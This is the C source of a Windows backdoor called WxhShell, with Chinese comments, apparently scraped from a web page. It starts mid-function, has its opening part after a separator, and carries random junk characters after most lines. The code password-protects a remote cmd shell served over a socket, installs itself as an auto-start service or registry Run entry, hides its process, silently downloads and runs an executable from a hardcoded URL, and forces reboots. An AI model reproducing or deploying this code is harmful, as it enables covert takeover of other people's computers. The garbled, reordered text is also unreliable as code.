    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~W+kiTsD?  
    else { j=aI9p  
    closesocket(wsh); DLMM/WJg@  
    ExitThread(0); uIZ-#q  
    } o`P %&  
    break; Y M\ K%rk  
    } ,N[7/kT|  
  // 获取shell _i|t Y4L  
  case 's': { ` a/%W4  
    CmdShell(wsh); t@N=kV  
    closesocket(wsh); ]d0tE?9  
    ExitThread(0); Sf7\;^  
    break; a\E:sPM'>  
  } | >27 B  
  // 退出 _EMwm&!  
  case 'x': { $?<Z!*x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .=;3d~.]  
    CloseIt(wsh); tlqiXh<  
    break; /1Q(b  
    } \6<=$vD  
  // 离开 M .JoHH  
  case 'q': { sy"^?th}b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u\{ g(li-I  
    closesocket(wsh); =L:4i\4  
    WSACleanup(); 2h1C9n%j9  
    exit(1); 87P>IO  
    break; D.Q=]jOs  
        } M#VE]J  
  } /ZPyN<@  
  } `~Zs0  
dEA6   
  // 提示信息 O6/f5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4V COKx  
} e<h~o!z a  
  } K4;'/cS  
I}6\Sv=  
  return; -Sx\Xi"<o=  
} 7~aM=8r  
I@%t.%O Jp  
// shell模块句柄 >JCM.I0_|  
int CmdShell(SOCKET sock) 3`.7<f`  
{ 2.zsCu4lj.  
STARTUPINFO si; 7-T{a<g  
ZeroMemory(&si,sizeof(si)); A1#%`^W9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #+5pgD2C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aL%AQB,  
PROCESS_INFORMATION ProcessInfo; muZ~*kMc  
char cmdline[]="cmd"; 9Hu/u=vB<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Kj,9NX{U  
  return 0; @I/]D6 ~"  
} "zRoU$X  
 %. ,=maA  
// 自身启动模式 mfo1+owT  
int StartFromService(void) y_IM@)1H~  
{ yo )%J  
typedef struct R_7 d@FQ1  
{ vIwCJN1C  
  DWORD ExitStatus; :1^R9yWA4  
  DWORD PebBaseAddress; M8Z2Pg\0  
  DWORD AffinityMask; "WK{ >T  
  DWORD BasePriority; o=?C&f{  
  ULONG UniqueProcessId; 5HO9 +i  
  ULONG InheritedFromUniqueProcessId; h!ZV8yMc  
}   PROCESS_BASIC_INFORMATION; >W`4aA  
oifv+oY  
PROCNTQSIP NtQueryInformationProcess; B'EKM)dA  
@reeO=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C@W"yYt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,o,I5>`  
ICkp$u^  
  HANDLE             hProcess; 0B@Jity#!  
  PROCESS_BASIC_INFORMATION pbi; 2e9es  
O1*NzY0Y%-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UE ,t8j  
  if(NULL == hInst ) return 0; x{c/$+Z[  
<l9-;2L4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !\L/[:n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +g]yA3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nMvKTH  
{0^&SI"5`E  
  if (!NtQueryInformationProcess) return 0; GF%314Xu  
I{ :(z3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .j>hI="b  
  if(!hProcess) return 0; D{4YxR PX  
[$"n^5_~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pV,P|>YTf  
GJp85B!PlO  
  CloseHandle(hProcess); qfz8jY]  
xD[Gq%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); / iV}HV0  
if(hProcess==NULL) return 0; <xC#@OZ  
ql?=(b;D  
HMODULE hMod; hk;7:G  
char procName[255]; (BfgwC)  
unsigned long cbNeeded; /2Bi@syxK  
?6jkI2w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _}VloiY  
@wC5 g 4E  
  CloseHandle(hProcess); i'wAE:Xe  
g9WGkH F  
if(strstr(procName,"services")) return 1; // 以服务启动 e|D ;OM  
mL`5u f  
  return 0; // 注册表启动 Eb>78k(3I)  
} (S`2[.j  
jDN ]3Y`  
// 主模块 fpN- o  
int StartWxhshell(LPSTR lpCmdLine) Ttc[Q]Ri  
{ vp crPVA^  
  SOCKET wsl; A7`1-#  
BOOL val=TRUE; S^<g_ q  
  int port=0; L%c0Z@[~  
  struct sockaddr_in door; b2=0}~LK  
]&{ci  
  if(wscfg.ws_autoins) Install(); @L:>!<  
01. &> Duw  
port=atoi(lpCmdLine); a~!G%})'a  
-yg?V2  
if(port<=0) port=wscfg.ws_port; VA%Un,5h  
CZt \JW+"  
  WSADATA data; 2'<[7!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dVo.Czyd  
[ $T(WGF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4T<Lgb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /q$,'^.A  
  door.sin_family = AF_INET; (?! ,p^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "a/ Q%.P  
  door.sin_port = htons(port); u@%r  
BEgV^\u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :C8$Xi_i}  
closesocket(wsl); "y<?Q}1  
return 1; $Qy7G{XJ[^  
} d@G}~&.|  
rf%7b8[v  
  if(listen(wsl,2) == INVALID_SOCKET) { \VFHHi:I  
closesocket(wsl); {E0z@D)U-  
return 1; LW:LFzp  
} D^;*U[F?  
  Wxhshell(wsl); .*JA!B  
  WSACleanup(); F5qFYL;  
AkT<2H|4  
return 0; A &9(mB  
okFvn;  
} T'aec]u  
@ (i!Y L  
// 以NT服务方式启动 {?}*1,I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *8tI*Pus  
{ cFF*Z=L _  
DWORD   status = 0; yj(vkifEB  
  DWORD   specificError = 0xfffffff; ^@_m "^C  
+/;*|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zn @N'R/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (x$9~;<S*d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tD Cw-  
  serviceStatus.dwWin32ExitCode     = 0; `[YngYw  
  serviceStatus.dwServiceSpecificExitCode = 0; }O4se"xK  
  serviceStatus.dwCheckPoint       = 0; Ep4Hqx $  
  serviceStatus.dwWaitHint       = 0; FHPXu59u  
!HJ$UG/\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )I-fU4?  
  if (hServiceStatusHandle==0) return; 7 #=}:3c  
LR,7,DH$9'  
status = GetLastError(); ')$NfarQ.  
  if (status!=NO_ERROR) lw(e3j  
{ U70]!EaT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PSmfiaThwo  
    serviceStatus.dwCheckPoint       = 0; 0G2g4DSKD  
    serviceStatus.dwWaitHint       = 0; Zf>^4_x3P  
    serviceStatus.dwWin32ExitCode     = status; (?b@b[D~4  
    serviceStatus.dwServiceSpecificExitCode = specificError; A;u"<KG?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5]1h8PW!Y  
    return; pBC<u  
  } L~^*u_U]  
M-uMZQ e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lRP1&FH0  
  serviceStatus.dwCheckPoint       = 0; B,(Heg  
  serviceStatus.dwWaitHint       = 0; 0J8K9rP;z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x4#T G  
} M}hrO-C  
{+g[l5CR[  
// 处理NT服务事件,比如:启动、停止 =)OC|?9 C\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .6pOvGKb  
{ JkA|Qdj~Mr  
switch(fdwControl) $Vv}XMxw  
{ p=QYc)3F  
case SERVICE_CONTROL_STOP: <vbIp&  
  serviceStatus.dwWin32ExitCode = 0; 6dEyv99  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]fI/(e_U  
  serviceStatus.dwCheckPoint   = 0; S|GWcSg  
  serviceStatus.dwWaitHint     = 0; '?yCq$&  
  { Ab1/.~^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FCc=e{  
  } -6Mm#sX  
  return; B )JM%r  
case SERVICE_CONTROL_PAUSE: O;]?gj 1@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Sb:T*N0gS  
  break; I6LD)?  
case SERVICE_CONTROL_CONTINUE: SgE/!+{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =BZ?-mIU  
  break; Y#01o&f0n  
case SERVICE_CONTROL_INTERROGATE: 8)\M:s~7&  
  break; qOG}[%<^n7  
}; [W,-1.$!dM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n|4;Hn1V  
} hD<f3_k  
XL}<1- }  
// 标准应用程序主函数 y/@iT8$rp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  !=*.$4  
{ (a6?s{(  
m^{ xd2  
// 获取操作系统版本 )-/gLZsx  
OsIsNt=GetOsVer(); cub <G!K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^`qPs/b  
cUDgM  
  // 从命令行安装 zSjgx_#U  
  if(strpbrk(lpCmdLine,"iI")) Install(); G(1 K9{i$  
! ]Mc4!E  
  // 下载执行文件 <V_7|)'/A  
if(wscfg.ws_downexe) { :a< hQ|p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =<<3Pkv7@  
  WinExec(wscfg.ws_filenam,SW_HIDE); J%dJw}  
} I&1!v8  
C/v}^#cLD  
if(!OsIsNt) { |&hU=J o  
// 如果时win9x,隐藏进程并且设置为注册表启动 0D)`2W  
HideProc(); Z]-WFU_ N  
StartWxhshell(lpCmdLine); s!6=|SS7  
} LN!W(n(  
else `!w^0kZ  
  if(StartFromService()) Y&'8VdW  
  // 以服务方式启动 8 HoP( +?  
  StartServiceCtrlDispatcher(DispatchTable); qvLDfN  
else C 7n Kk/r  
  // 普通方式启动 !g 0cC.'  
  StartWxhshell(lpCmdLine); XSB8z   
?(im+2  
return 0; amB@N6*  
} \}inT_{g  
Y~"9L|`f/  
wTpD1"_R  
r7)@M%A  
=========================================== @%@zH%b  
FUaNiAr[  
_JOP[KHb  
5iWe-xQ>  
{:Vf0Mhb  
TvrwVL)  
" Gidkt;lj  
~|) 9RUXr>  
#include <stdio.h> 4S *,\q]q  
#include <string.h> T#iU+)-\%  
#include <windows.h> GF R!n1Hv  
#include <winsock2.h> u;n(+8sz  
#include <winsvc.h> 1| xN%27>  
#include <urlmon.h> |ft:|/^F&  
2;N@aZX  
#pragma comment (lib, "Ws2_32.lib") d~[UXQC  
#pragma comment (lib, "urlmon.lib") x9}++r  
9p> /?H|  
#define MAX_USER   100 // 最大客户端连接数 KZK,w#9.  
#define BUF_SOCK   200 // sock buffer s[-]cHQ  
#define KEY_BUFF   255 // 输入 buffer ]A!.9Ko}u  
hmGdjw t$  
#define REBOOT     0   // 重启 y-cw~kNPP3  
#define SHUTDOWN   1   // 关机 /{G/|a  
,z66bnjO  
#define DEF_PORT   5000 // 监听端口 (G5xkygR9  
z`'P>.x   
#define REG_LEN     16   // 注册表键长度 A ^B@VuK  
#define SVC_LEN     80   // NT服务名长度 s-Y+x  
A! ;meVUs  
// 从dll定义API {Nq?#%vdT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oO:LG%q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yH(V&Tv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [~?M/QI9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?0npEz|  
Jn,w)Els  
// wxhshell配置信息 xzK>Xi?  
struct WSCFG { W#45a.v  
  int ws_port;         // 监听端口  6`"ZsO  
  char ws_passstr[REG_LEN]; // 口令 4!2SS  
  int ws_autoins;       // 安装标记, 1=yes 0=no *o|p)lH  
  char ws_regname[REG_LEN]; // 注册表键名 %UmbDGDWI  
  char ws_svcname[REG_LEN]; // 服务名 lCE2SKj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h>tsis'N9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [s %\.y(q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y#r\b6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6{^*JC5nj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;xW{Ehq-h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eG^z*`**  
/'Bdq?!B&  
}; /\~W$.c  
M,L@k  
// default Wxhshell configuration 3*\8p6G  
struct WSCFG wscfg={DEF_PORT, i;HH ! TaN  
    "xuhuanlingzhe", V~c(]K)-  
    1, 0|Q.U  
    "Wxhshell", .jum "va%  
    "Wxhshell", -4`sqv ]  
            "WxhShell Service", QX/]gX  
    "Wrsky Windows CmdShell Service", 3YRB I|XO  
    "Please Input Your Password: ", ;@'0T4Z&l  
  1, dM gbW<uAu  
  "http://www.wrsky.com/wxhshell.exe", y7; 5xF?q  
  "Wxhshell.exe" Heohe|an  
    }; ./)j5M  
J/gQQ. s  
// 消息定义模块 1Q_ ``.M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7 NUenCdc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WFpl1O73  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,^!Zm^4,  
char *msg_ws_ext="\n\rExit."; eHROBxH&  
char *msg_ws_end="\n\rQuit."; Fi k@hu  
char *msg_ws_boot="\n\rReboot..."; vK`S!7x'&  
char *msg_ws_poff="\n\rShutdown..."; {"\q(R0  
char *msg_ws_down="\n\rSave to "; ;y ,NC2Xj  
H>Sf[8w)%  
char *msg_ws_err="\n\rErr!"; S r[IoF)  
char *msg_ws_ok="\n\rOK!"; EUXV/QV{  
gx#J%k,f  
char ExeFile[MAX_PATH]; 5#BF,-Jv  
int nUser = 0; 0c-QIr}m  
HANDLE handles[MAX_USER]; _AAx )  
int OsIsNt; F94V5_[  
o8mo=V4j  
SERVICE_STATUS       serviceStatus; Q{`@ G"'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }RH lYN  
i~ROQMN1  
// 函数声明 4=UI3 2v3  
int Install(void); )e#fj+>x)  
int Uninstall(void); AtuZF  
int DownloadFile(char *sURL, SOCKET wsh); B_b8r7Vn`  
int Boot(int flag); a'm!M:w  
void HideProc(void); 2kC^7ZAwu  
int GetOsVer(void); Bac?'ypm  
int Wxhshell(SOCKET wsl); _82<| NN:  
void TalkWithClient(void *cs); enWF7`  
int CmdShell(SOCKET sock); a{5H33JA  
int StartFromService(void); THb A(SM  
int StartWxhshell(LPSTR lpCmdLine); Ml8E50t>;  
-fhAtxkg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '/n\Tg+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o&WRta>VP  
S|s3}]g9  
// 数据结构和表定义 'et(:}i  
SERVICE_TABLE_ENTRY DispatchTable[] = `x5ll;"J  
{ yo'q[YtP'  
{wscfg.ws_svcname, NTServiceMain}, s_x=^S3~LO  
{NULL, NULL} ;&/sj-xJ2  
}; ;CLR{t(N#V  
(Be$$W  
// 自我安装 }3bQ>whF  
int Install(void) UeFtzty,a  
{ B'NS&7+].  
  char svExeFile[MAX_PATH]; y-D>xV)n  
  HKEY key; (*LTq C  
  strcpy(svExeFile,ExeFile); ?S+/QyjcfJ  
B/kcb(5v  
// 如果是win9x系统,修改注册表设为自启动 hB?U5J  
if(!OsIsNt) {  gvvFU,2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PEMxoe<+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Sd+"3M  
  RegCloseKey(key); 2l]C55p)s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6nM rO$i0k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wY."Lw> 6  
  RegCloseKey(key); *Cc$eR]-  
  return 0; kfH9Y%bOy  
    } W66}\&5  
  } \"<GL;  
} D N2hv2  
else { "j *fVn  
nS?S6G5h  
// 如果是NT以上系统,安装为系统服务 bcGn8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z:@d@\$?  
if (schSCManager!=0) ]9!Gg  
{ W$x K^}  
  SC_HANDLE schService = CreateService 7lnM|nD  
  ( d!a2[2Us  
  schSCManager, q[T_*X3o  
  wscfg.ws_svcname, 3|z;K,`Fw  
  wscfg.ws_svcdisp, _rWTw+ L  
  SERVICE_ALL_ACCESS, 6|>"0[4S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )o}=z\M-bN  
  SERVICE_AUTO_START, >?:i6&4o  
  SERVICE_ERROR_NORMAL, dja9XWOg  
  svExeFile, v= 8~ZDY  
  NULL, ]G$!/vXP  
  NULL, 5VY%o8xXa  
  NULL, z^SN#v$  
  NULL, $n_sGr  
  NULL 06j)P6Iju  
  ); d@`-!"  
  if (schService!=0) SO8|]Fk  
  { =qVAvo'  
  CloseServiceHandle(schService); "X!_37kQ  
  CloseServiceHandle(schSCManager); n^I|}u\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `s|\" @2  
  strcat(svExeFile,wscfg.ws_svcname); .*clY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v@<lEG#$"|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 's%ct}y\J  
  RegCloseKey(key); C$EFh4  
  return 0; j+ T\c2d  
    } jw6ng>9  
  } 1&x0+~G  
  CloseServiceHandle(schSCManager); @b(gjOE  
} jAK`96+D~b  
} :5qqu{GL  
b~N|DKj  
return 1; `;8u9Ff  
} \&|w;  
 &~f*q?xR  
// 自我卸载 9Y*VzQE  
int Uninstall(void) 5juCeG+Z  
{ /ux#U]x  
  HKEY key; WLA_YMlA  
[~rk`  
if(!OsIsNt) { v \L Ip  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ij,?G*  
  RegDeleteValue(key,wscfg.ws_regname); !&:.Uh  
  RegCloseKey(key); S4AB tKG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^SelqX  
  RegDeleteValue(key,wscfg.ws_regname); . LVOaxT  
  RegCloseKey(key); OAQ O J'  
  return 0; (\[!,T"[  
  } eWt>^]H~  
} 0yEyt7 ~@  
} Y3F.hk}O  
else { */@bNT9BgO  
wBaFC\CW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vu8-Cy>Q?  
if (schSCManager!=0) KARQKFp!C>  
{ ,)\5O0 D6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p9bxhnn|  
  if (schService!=0) N4JL.(m){I  
  { mJ#B<I'  
  if(DeleteService(schService)!=0) { ?&bVe__  
  CloseServiceHandle(schService); Q\th8/ /  
  CloseServiceHandle(schSCManager); V,%5 hl'&  
  return 0;  /o3FK  
  } Ih0> ]h-7  
  CloseServiceHandle(schService); G6g=F+X2  
  } [[Eu?vQ9R  
  CloseServiceHandle(schSCManager); (~yJce  
} AG!a=ufc0  
} dg@/HLZ  
pt;Sk?-1  
return 1; !ES#::;z?  
} i!-sbwd7  
#]hkQo  
// 从指定url下载文件 SCC/ <o  
int DownloadFile(char *sURL, SOCKET wsh) OX`GN#yl  
{ FbT&w4Um=  
  HRESULT hr; &wC.?w$  
char seps[]= "/"; +mF 2yh  
char *token; p{QKj3ov  
char *file; l.'E\3Bo  
char myURL[MAX_PATH]; tQ<2K*3]  
char myFILE[MAX_PATH]; w%u[~T7OI  
^x#RUv  
strcpy(myURL,sURL); 8o!^ZOmU<  
  token=strtok(myURL,seps);  JS.' v7  
  while(token!=NULL) U.9nHo{  
  { s9dBXfm  
    file=token; R^C;D 2  
  token=strtok(NULL,seps); .-*nD8b  
  } 3W WxpTU  
eWs^[^c.<  
GetCurrentDirectory(MAX_PATH,myFILE); \0& (q%c  
strcat(myFILE, "\\"); ,;& PKY  
strcat(myFILE, file); 30-w TcG  
  send(wsh,myFILE,strlen(myFILE),0); =!Cvu.~},  
send(wsh,"...",3,0); C#cEMKa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (G;*B<|A  
  if(hr==S_OK) tH!z7VZ  
return 0; PQ|x?98  
else 7q1l9:VYE  
return 1; id9T[^h  
O&%T_Zk@@  
} AY erz  
NP/2gjp  
// 系统电源模块 \'b- ;exH  
int Boot(int flag) \OB3gnR  
{ t, YAk ?}  
  HANDLE hToken; tr+~@]I+  
  TOKEN_PRIVILEGES tkp; 0\ ;a:E.c  
GDntGTE~sk  
  if(OsIsNt) { (J#3+I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GT0'bge  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PUArKBYM-  
    tkp.PrivilegeCount = 1; \rO>F E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r}bKVne  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hR{Zh>  
if(flag==REBOOT) { +r"$?bw '  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m#p^'}]!;  
  return 0; 4'*K\Ul).H  
} K.Ir+SB  
else { e2F7G>q:5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Czn7,KE8X  
  return 0; Aed"J5[a  
} !9NAm?Fw  
  } :Tl?yG F  
  else { a#=-Aj-  
if(flag==REBOOT) { 9x\G(w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #U6qM(J  
  return 0; yFqC-t-i  
} <NO~TBHF  
else { p IToy;]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sjGZ ,?%  
  return 0; %{"STbO#>  
} B*7o\~5  
} 4{pa`o3  
t=#)3C`Q}  
return 1; &9>d  
} :W"ITY(  
3[4]G@  
// win9x进程隐藏模块 ~r3g~MCHS  
void HideProc(void) 511q\w M  
{ Ns_d10rZ.  
;iVyJZI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o-_ a0j  
  if ( hKernel != NULL ) &XP 0  
  { Qd&j~cG@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5o*x?P!$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \T?O.  
    FreeLibrary(hKernel); E;N8{Ye_  
  } AyDK-8a  
QG.FW;/L,  
return; x,+zw9  
} ak zb<aT  
;A_QI>>  
// 获取操作系统版本 R\^tr  
int GetOsVer(void) OB%y'mo7]  
{ QXCI+Fcg  
  OSVERSIONINFO winfo; !TcjB;q'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o9CB ,c7]  
  GetVersionEx(&winfo); :BS`Q/<w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uB BE!w_  
  return 1; (Jm_2CN7X  
  else R= l/EK  
  return 0; W$W7U|Z9y+  
} " 1 Bn/Q  
(+@H !>r$$  
// 客户端句柄模块 <q|19fH-5  
int Wxhshell(SOCKET wsl) <}evOw2  
{ R!O'DM+  
  SOCKET wsh; ;]gph)2cd  
  struct sockaddr_in client; _<8n]0lX3  
  DWORD myID; |b@-1  
u}$?r\H'(  
  while(nUser<MAX_USER) Lt)t}0  
{ ^J327  
  int nSize=sizeof(client); d%<Uh(+:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MkQSq MU=  
  if(wsh==INVALID_SOCKET) return 1; ?@ O[$9y  
X- zg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {x+jFj.  
if(handles[nUser]==0) W!{uEH{%l  
  closesocket(wsh); 3E#acnqn*  
else [mhY_Hmz]  
  nUser++; =T1i(M#  
  } pl%ag~i5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mesR)fTI  
Tsa&R:SE  
  return 0; RxqXGM`4  
} 1iUy*p65:  
VB Ce=<  
// 关闭 socket 9 eP @}C6  
void CloseIt(SOCKET wsh) %f@]-  
{ GDk/85cv0$  
closesocket(wsh); &.d~ M1Mz  
nUser--; .; :[sv)  
ExitThread(0); L%!jj7,9-  
} jvW/M.q4  
sx6` g;  
// 客户端请求句柄 X/?3ifP6I  
void TalkWithClient(void *cs) *-2u0%  
{ En1pz\'  
x ha!.&DO  
  SOCKET wsh=(SOCKET)cs; C6GYhG]  
  char pwd[SVC_LEN]; yHCBf)N7\  
  char cmd[KEY_BUFF]; vQA: \!  
char chr[1]; klPc l[.w  
int i,j; Q|:\  
)5B90[M|t  
  while (nUser < MAX_USER) { A\WgtM  
D9JT)a  
if(wscfg.ws_passstr) { #\w~(Nm-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V]IS(U(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * ,,D%L  
  //ZeroMemory(pwd,KEY_BUFF); ,rQznE1e  
      i=0; 'H+pwp"M@  
  while(i<SVC_LEN) { JrO2"S  
gg5`\}  
  // 设置超时 \ B<(9  
  fd_set FdRead; ]e R1 +Nl  
  struct timeval TimeOut; ;[&g`%-H<  
  FD_ZERO(&FdRead); x2;92I{5C,  
  FD_SET(wsh,&FdRead); +.{_n(kU  
  TimeOut.tv_sec=8; aM~M@wS  
  TimeOut.tv_usec=0; !DD|dVA{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \S3C"P%w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8xlj:5;(w  
~,.Agx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^KmyB6Yg  
  pwd=chr[0]; R|Y)ow51  
  if(chr[0]==0xd || chr[0]==0xa) { 8 z\WyDz  
  pwd=0; WC0@g5;1[  
  break; bNj| GIf  
  } 9_oIAn:<  
  i++; HX?5O$<<N  
    } &H<-joZ)Z\  
76(&O  
  // 如果是非法用户,关闭 socket 's+ Fd~ '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H;%a1  
} D:M0_4S  
yD(0:g#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e$fxC-sZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (WX,&`a<$  
P8piXG  
while(1) { BB>3Kj:|  
"EDn;l-Q  
  ZeroMemory(cmd,KEY_BUFF); 3L/>=I{5  
/EA4-#uw  
      // 自动支持客户端 telnet标准   8tY],  
  j=0; esWgYAc3{  
  while(j<KEY_BUFF) { ?&j[Rj0pH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x=gZ7$?A  
  cmd[j]=chr[0]; hT#[[md"  
  if(chr[0]==0xa || chr[0]==0xd) { Cir==7A0  
  cmd[j]=0; X2/ `EN\  
  break; JY~s-jxa  
  } 1B}6 zJ  
  j++; <{JHFU`^  
    } rX)PN3TD  
 3_+-t5  
  // 下载文件 s-J>(|  
  if(strstr(cmd,"http://")) { xzbyar<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D9 OS,U/l  
  if(DownloadFile(cmd,wsh)) oOnk,U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i\ X Ok!  
  else .yd{7Te  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1}}.e^Tsfr  
  } 1.4]T, `  
  else { V#'sH  
![18+Q\  
